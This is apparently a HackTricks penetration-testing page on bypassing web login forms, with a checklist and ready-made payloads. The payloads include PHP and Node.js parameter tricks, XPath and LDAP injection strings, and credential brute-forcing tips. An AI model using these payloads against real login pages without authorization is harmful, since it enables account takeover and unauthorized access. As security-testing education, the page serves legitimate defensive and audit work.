122 lines
5.7 KiB
Markdown
122 lines
5.7 KiB
Markdown
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|
|
|
|
|
|
# **Bypass regular login**
|
|
|
|
If you find a login page, here you can find some techniques to try to bypass it:
|
|
|
|
* Check for **comments** inside the page (scroll down and to the right?)
|
|
* Check if you can **directly access the restricted pages**
|
|
* Check to **not send the parameters** (do not send any or only 1)
|
|
* Check the **PHP comparisons error:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
|
|
* Check nodejs potential parsing error (read [**this**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
|
|
* Nodejs will transform that payload to a query similar to the following one: `SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `**`password=password=1`**`;` which makes the password bit to be always true.
|
|
* Adding `"stringifyObjects":true` option when calling `mysql.createConnection` will eventually block all unexpected behaviours when `Object` is passed in the parameter.
|
|
* Check credentials:
|
|
* [**Default credentials**](../../brute-force.md#default-credentials) of the technology/platform used
|
|
* **Common combinations** (root, admin, password, name of the tech, default user with one of these passwords).
|
|
* Create a dictionary using **Cewl**, **add** the **default** username and password (if there is) and try to brute-force it using all the words as **usernames and password**
|
|
* **Brute-force** using a bigger **dictionary (**[**Brute force**](../../brute-force.md#http-post-form)**)**
|
|
|
|
## SQL Injection authentication bypass
|
|
|
|
[Here you can find several tricks to bypass the login via **SQL injections**](../sql-injection/#authentication-bypass).
|
|
|
|
In the following page you can find a **custom list to try to bypass login** via SQL Injections:
|
|
|
|
{% content-ref url="sql-login-bypass.md" %}
|
|
[sql-login-bypass.md](sql-login-bypass.md)
|
|
{% endcontent-ref %}
|
|
|
|
## No SQL Injection authentication bypass
|
|
|
|
[Here you can find several tricks to bypass the login via **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
|
|
|
|
As the NoSQL Injections requires to change the parameters value, you will need to test them manually.
|
|
|
|
## XPath Injection authentication bypass
|
|
|
|
[Here you can find several tricks to bypass the login via **XPath Injection.**](../xpath-injection.md#authentication-bypass)
|
|
|
|
```
|
|
' or '1'='1
|
|
' or ''='
|
|
' or 1]%00
|
|
' or /* or '
|
|
' or "a" or '
|
|
' or 1 or '
|
|
' or true() or '
|
|
'or string-length(name(.))<10 or'
|
|
'or contains(name,'adm') or'
|
|
'or contains(.,'adm') or'
|
|
'or position()=2 or'
|
|
admin' or '
|
|
admin' or '1'='2
|
|
```
|
|
|
|
## LDAP Injection authentication bypass
|
|
|
|
[Here you can find several tricks to bypass the login via **LDAP Injection.**](../ldap-injection.md#login-bypass)
|
|
|
|
```
|
|
*
|
|
*)(&
|
|
*)(|(&
|
|
pwd)
|
|
*)(|(*
|
|
*))%00
|
|
admin)(&)
|
|
pwd
|
|
admin)(!(&(|
|
|
pwd))
|
|
admin))(|(|
|
|
```
|
|
|
|
## Remember Me
|
|
|
|
If the page has "**Remember Me**" functionality check how is it implemented and see if you can abuse it to **takeover other accounts**.
|
|
|
|
## Redirects
|
|
|
|
Pages usually redirects users after login, check if you can alter that redirect to cause an [**Open Redirect**](../open-redirect.md). Maybe you can steal some information (codes, cookies...) if you redirect the user to your web.
|
|
|
|
# Other Checks
|
|
|
|
* Check if you can **enumerate usernames** abusing the login functionality.
|
|
* Check if **auto-complete** is active in the password/**sensitive** information **forms** **input:** `<input autocomplete="false"`
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|
|
|
|
|